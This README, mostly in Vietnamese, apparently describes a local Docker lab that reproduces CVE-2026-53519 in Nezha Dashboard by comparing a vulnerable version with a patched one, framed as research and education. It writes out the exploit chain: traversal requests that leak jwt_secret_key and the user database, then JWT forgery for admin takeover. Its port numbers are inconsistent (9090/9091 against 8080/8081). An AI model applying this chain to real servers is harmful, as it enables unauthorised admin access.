
Docker लैब CVE-2026-53519 को पुनः उत्पन्न करती है, जो Nezha Dashboard में एक pre-auth path traversal है जो jwt_secret_key लीक करती है और JWT forgery तथा admin takeover को सक्षम बनाती है।
Lab tái hiện lỗ hổng pre-auth path traversal via /dashboard.. prefix confusion trong
Nezha Dashboard, dẫn tới leak jwt_secret_key -> forge JWT -> chiếm quyền admin.
Môi trường Docker, tách A/B theo version để so sánh vuln vs patched.
| Image | URL (loopback) | Kết quả kỳ vọng |
|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | leak config.yaml, chiếm admin |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | bị chặn (404) |
Cả hai chỉ bind 127.0.0.1, không expose ra LAN. Đăng nhập admin mặc định: admin / admin.
python) - để parse sqlite.db bị leak (có fallback nếu thiếu)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Smoke check nhanh
.\lab.ps1 validate
# 3. Chuỗi khai thác đầy đủ trên VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. Đối chứng trên PATCHED (mong đợi: bị chặn)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (vì sao dùng biến thể này mới leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
Lệnh quản lý:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> leak jwt_secret_key.
GET /dashboard../data/sqlite.db -> lấy user id admin (id=1).{user_id:"1", ip:"", exp:<future>} bằng secret leak -> Authorization: Bearer <token>
-> GET /api/v1/profile (xác thực) và GET /api/v1/user (endpoint chỉ-admin) -> admin takeover.Chi tiết root cause: xem analysis/ROOT_CAUSE.md và
analysis/vuln-vs-patch.diff.
Báo cáo đầy đủ: REPORT_CVE_2026_53519.md.
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed jwt_secret_key cố định (deterministic)
seed/lab_canary.txt # canary để minh họa file read
lab.ps1 / lab-common.ps1 # quản lý + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # chuỗi khai thác đầy đủ
poc/negative-controls.ps1 # đối chứng các biến thể bị chặn
poc/parse_users.py # parse sqlite.db leak -> user id admin
analysis/ROOT_CAUSE.md # phân tích + bản vá
analysis/vuln-vs-patch.diff # diff controller.go v2.0.12 -> v2.0.13
evidence/ # output từ mỗi lần chạy (leaked-config, token, userlist...)
Lab chỉ dùng cho nghiên cứu/giáo dục trong môi trường cục bộ. jwt_secret_key trong seed/config.yaml
là giá trị giả, chỉ phục vụ demo. Không dùng image/version dính lỗi này trên production.